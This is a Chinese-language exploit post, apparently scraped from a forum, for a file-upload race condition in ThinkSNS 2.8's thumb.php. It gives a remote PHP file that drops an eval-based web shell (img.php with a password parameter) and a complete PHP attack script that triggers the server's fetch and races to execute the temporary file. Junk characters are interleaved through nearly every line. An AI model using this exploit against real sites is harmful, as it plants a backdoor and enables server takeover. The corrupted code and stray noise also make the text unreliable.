漏洞版本+ h5 H! t' J* g4 U8 N7 v9 ]
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
6 w0 v0 V- W' }( S& I' @5 L" |漏洞文件
9 L9 k/ T4 f f1 N* N2 j存在漏洞的文件为:thumb.php) E$ {! p/ a0 l; q% T" _( S j
作者:韦鲲鹏
; f! v: V/ Q: e1 \8 t, B# q% i1、 准备如下PHP文件并上传到服务器(自己的)。5 H" m! [: O4 M& z
文件内容如下:
* t/ S6 q6 c) M* b3 ]<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>$ z* H6 S" i. [4 i
2、 计算出临时的文件名:
. q3 i- k; s0 I) O这里我们可以看文件的99行(刚刚是不是没注意呀!)。' }# p `2 J8 p& @ ?
- h; U7 T$ ^9 ^$ }3、 上传临时文件。7 Z/ `/ U, M3 _0 r# L7 U% e
4、 访问临时文件。! G5 g8 H( [0 O! ~* j7 S+ O
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
' I1 M4 C: U# n( a7 rExploit文件内容如下:(这个我就不详细解释了)+ x6 a( S' L2 A, P! v. ^+ B1 f; i/ V
<?php$ W& s; F& N5 G' V7 Y
error_reporting(0);
9 Z$ l7 o9 b# eset_time_limit(0);3 B+ M1 f4 m& l) {% X+ |- p* E
ini_set(“default_socket_timeout”, 5);9 V4 n% Q4 C2 r' g! `; Y
function http_send($host, $port, $headers) {3 n+ f* e1 h S% `* s. v; O
$fp = fsockopen($host, $port);7 C1 p, K, \# y0 f7 S" r H% s2 a2 r
if (!$fp) die(‘Connection -> fail’);) r5 Q8 V2 Y& F5 @9 |, Q0 b. n6 o
fputs($fp, $headers);& E" J9 ]8 [ b3 n
return $fp;5 A9 B8 G: i, O k
}
% z0 n, U6 M- U( ?1 ?" y: Y3 K$ e6 ofunction http_recv($fp) {8 F( b( U0 w% o. X5 O' k
$ret=”";! ~4 t& ^! c2 F$ e9 n; u( I( X# s
while (!feof($fp))$ z" K3 a4 W/ I0 G2 \) V
$ret.= fgets($fp, 1024);
: n9 h! d! _5 yfclose($fp);
. J0 G! `2 ^/ m3 ~" [1 Jreturn $ret;
! v5 R, B7 k3 ]" j, E' k4 {6 C* u}$ F" a; O. m6 k4 y2 }* k+ _- z
print “\n# ThinkSns Arbitrary File Upload #\n”;
) h% ^+ B, n1 D! ?% {' Rprint “# Discovered by 韦鲲鹏 #\n\n”;
) C: ~ _8 X4 u eif ($argc < 4) {
5 L, Y! q8 R: N I# B. ^! _ Vprint “Usage: php <host> <path> <romote_url>\n”;
8 c0 g1 r: k2 [* \* B. |print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;8 g0 f0 o$ [7 E/ Q' e3 m
die();
+ |) q. a' D; R. H" q+ P9 S) w4 d}
+ w" }4 C5 U# r( P. `. v8 H$ X5 P$host = $argv[1];
5 I6 D! U$ I& G* p$path = $argv[2];8 u3 ]/ _, g M
$url = $argv[3];
9 M& `7 V7 S; ~# o4 R- Y6 s+ z+ m/ |$i=0;
" h$ {& S- @& X1 q/ A; e//上传数据包
& s2 e: u% P1 s, h' G, V+ d5 |$ D$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;2 L. j: H! _+ d
$headers_up .= “Host: “.$host.”\r\n”;
6 s9 C3 q6 x2 w2 x6 T8 W2 G, r5 G$headers_up .= “Connection: close\r\n\r\n”;
4 C- j2 ?% L+ F$ I+ E( D6 r" eecho $headers_up;- R4 H4 e5 K" w' j3 `7 o
//临时文件访问数据包 T4 x: B! \: ^1 W k
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
8 C! _# { @9 g$headers .= “Host: “.$host.”\r\n”;
/ V- k1 ~9 Y) b+ @6 o! q3 Y$headers .= “Connection: close\r\n\r\n”;
7 ]) S: n( I! S$ P3 v5 ^echo $headers;# |, e9 N- _( ~% H% H9 f9 U) G
while(++$i<10) {
3 i8 K) A0 c7 N; y/ k: e% Kfclose(http_send($host, 80, $headers));/ c! [# v$ w7 `% C' k! o
}
5 l9 o7 g- ^( R3 i5 J' w( gfclose(http_send($host, 80, $headers_up));
# `. ~# O5 ?$ N8 y! m% h$ Ewhile(++$i<50) {
% [* p7 o% i+ S: d" lfclose(http_send($host, 80, $headers));
9 e3 `& C# c, Y) _4 X}" J3 {# ?; u' {+ F D9 t
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;$ B4 Y2 t ?( S+ ]) }
$headers .= “Host: “.$host.”\r\n”;
( |/ ~+ Y+ |& H) W! S# d9 ~2 } K$headers .= “Connection: close\r\n\r\n”; f; X3 p* }) Y9 d
$res=http_recv(http_send($host, 80, $headers));
& [( E3 Y u8 a0 _9 Mif(preg_match(‘/200 OK/’,$res)) {
: k1 O6 g& b0 n8 F8 fprint “Success!\n\n”;
0 S5 U: W$ |4 n} else {
# I" V! P6 C% D9 B* c& d1 ]' _print “Fail!\n\n”;
! r! L0 {6 x# U& k}
2 x- }$ P( y6 H- h# h7 y, x?>7 [ D) o7 n1 y6 b
|